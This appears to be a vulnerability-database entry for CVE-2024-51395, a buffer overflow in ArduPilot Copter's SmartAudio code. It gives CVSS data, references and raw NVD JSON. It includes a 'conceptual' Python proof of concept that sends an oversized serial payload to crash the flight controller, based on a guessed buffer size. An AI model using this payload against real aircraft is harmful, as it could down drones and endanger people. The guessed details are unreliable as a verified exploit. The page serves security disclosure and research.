CVE-2024-51395

Description

Buffer Overflow vulnerability in Ardupiot Copter Latest commit 92693e023793133e49a035daf37c14433e484778 allows a local attacker to cause a denial of service via the AP_SmartAudio::loop, AP_SmartAudio, AP_SmartAudio.cpp components.

CVSS Details

CVSS Score

6.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

ArduPilot Copter <= Commit 92693e023793133e49a035daf37c14433e484778

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2024-51395 (Conceptual)
# This script simulates sending a malicious payload to the SmartAudio serial interface.
#
import serial
import time

def trigger_dos(serial_port):
    try:
        # Open the serial port connected to the SmartAudio VTx
        ser = serial.Serial(serial_port, baudrate=4800, timeout=1)
        
        # Construct a payload that exceeds the buffer size in AP_SmartAudio.cpp
        # Assuming the buffer is small (e.g., 64 bytes), sending 256 bytes of 'A'
        malicious_payload = b'\x00' + b'A' * 256 
        
        print(f"[*] Sending malicious payload to {serial_port}...")
        ser.write(malicious_payload)
        
        print("[+] Payload sent. Check for system crash/reboot.")
        ser.close()
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    # Replace '/dev/ttyUSB0' with the actual serial device
    trigger_dos('/dev/ttyUSB0')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-51395
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-51395
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-51395/
[4] VulDB https://vuldb.com/cve/CVE-2024-51395
[5] https://github.com/ArduPilot/ardupilot/issues/28374
[6] https://github.com/ArduPilot/ardupilot/issues/28374

Raw JSON Data

JSON

{"cve": {"id": "CVE-2024-51395", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:34.663", "lastModified": "2026-05-14T13:16:15.970", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Overflow vulnerability in Ardupiot Copter Latest commit 92693e023793133e49a035daf37c14433e484778 allows a local attacker to cause a denial of service via the AP_SmartAudio::loop, AP_SmartAudio, AP_SmartAudio.cpp components."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/ArduPilot/ardupilot/issues/28374", "source": "[email protected]"}, {"url": "https://github.com/ArduPilot/ardupilot/issues/28374", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}